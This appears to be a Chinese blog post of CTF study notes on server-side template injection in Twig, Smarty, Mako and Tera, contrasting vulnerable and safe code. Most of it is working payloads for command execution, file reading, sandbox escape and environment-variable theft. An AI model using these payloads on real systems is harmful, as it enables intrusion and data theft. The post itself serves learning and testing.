非flask的ssti注入

先贴一个神图

模板注入的测试流程,下面是对各个模板的具体操作的一一介绍

Twig

Twig是一个php框架,本着当脚本小子的原则,不研究怎么去搭,首先来看什么样的会出现模板注入:

<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);

$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

像这种在render里直接进行了动态的拼接,就会导致出现模板注入漏洞.而下面这种使用方法就不会出现漏洞.

<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);

echo $twig->render('index', ['name' => 'whoami']);
Twig1.x打本地包含

payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Twig2.x,3.x打本地包含

使用map:

{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}}    // 无回显

使用sort

{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}}    // 无回显

使用filter

{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}}    // 无回显

使用reduce

{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 无回显
Twig打远程包含

不会,先欠着.

一些有意思的payload收集
{{[%22galf/%20tac%22]|join(%22%22)|reverse|split('',14)|filter(%27passthru%27)}}

可以看到他把payload反着写在数组里 利用join 来拼接成字符串 再reverse变成正常的我们需要的字符串 cat /flag 而filter我们知道需要数组来执行 所以他用了split组合成数组来达到rce的目的

Smarty

Smarty是一个php的模板框架,直接来看漏洞成因.

<?php
    require_once('./smarty/libs/' . 'Smarty.class.php');
    $smarty = new Smarty();
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $smarty->display("string:".$ip);     // display函数把标签替换成对象的php变量;显示模板
}

可以看到在display函数中,将可控变量去动态的拼接,因此造成了模板注入漏洞.来看漏洞的具体利用.
查看Smarty的版本.

{$smarty.version}  #获取smarty的版本号
Smarty 3.1之前
{php}phpinfo();{/php}

通过{php}{/php}来执行包裹在其中的php命令.

Smarty 3.1.30之前
{self::getStreamVariable("file:///etc/passwd")}

可以通过上面的方法去获取传入的字节流.反思:是否可以通过这个手法去打iconv呢?

Smarty较低版本
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

通过{if}{/if}标签去执行php命令.

一直可以用
{literal}alert('xss');{/literal}

{literal}{/literal}标签似乎只能去打XSS.

Smarty3.1.38之前

由于引入沙箱机制,因此需要关闭沙箱或进行一个逃逸.

?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}

?poc=string:{function+name='rce(){};system("id");function+'}{/function}

虽然说是3.1.38之前,但是在更高的版本似乎也成功过.

mako

mako是一个python的模板语言,类似于jinjia2.这个模板非常的不安全,由于支持python代码的执行,因此存在各种注入方式.
产生漏洞的代码如下:

from pyramid.config import Configurator
from pyramid.view import view_config
from pyramid.response import Response
from mako.template import Template
from waitress import serve  # 用于运行服务器

@view_config(route_name="vuln")
def vulnerable_view(request):
    user_input = request.params.get("name", "")
    template = Template(f"Hello {user_input}")  # ⚠️ 存在模板注入漏洞
    return Response(template.render())

if __name__ == "__main__":
    with Configurator() as config:
        config.add_route("vuln", "/")
        config.scan()  # 自动扫描 @view_config 装饰的视图
        app = config.make_wsgi_app()
    
    print("Server running at http://127.0.0.1:6543")
    serve(app, host="0.0.0.0", port=6543)

可以使用如下方式去执行命令.

<%!
import os
os.system("whoami")
%> #这个本地没通,感觉有点说法.

<%__import__("os").system("whoami")%>

${__import__("os").system("whoami")}

总体就是使用这几种字符去包裹.还有其他的绕过方式大多喝ssti相似,和沙箱逃逸相结合.

tera

tera是rust的一个框架,使用开篇图片的测试方式显然是无法测试的.关于tera了解的注入方式也非常有限,甚至不知道如何去执行命令.

{{ get_env(name="FLAG") }}

可以通过这种方式去读环境变量,在das2024冬最后一战中考了.

posted @ 2025-01-10 16:27  colorfullbz  阅读(285)  评论(0)    收藏  举报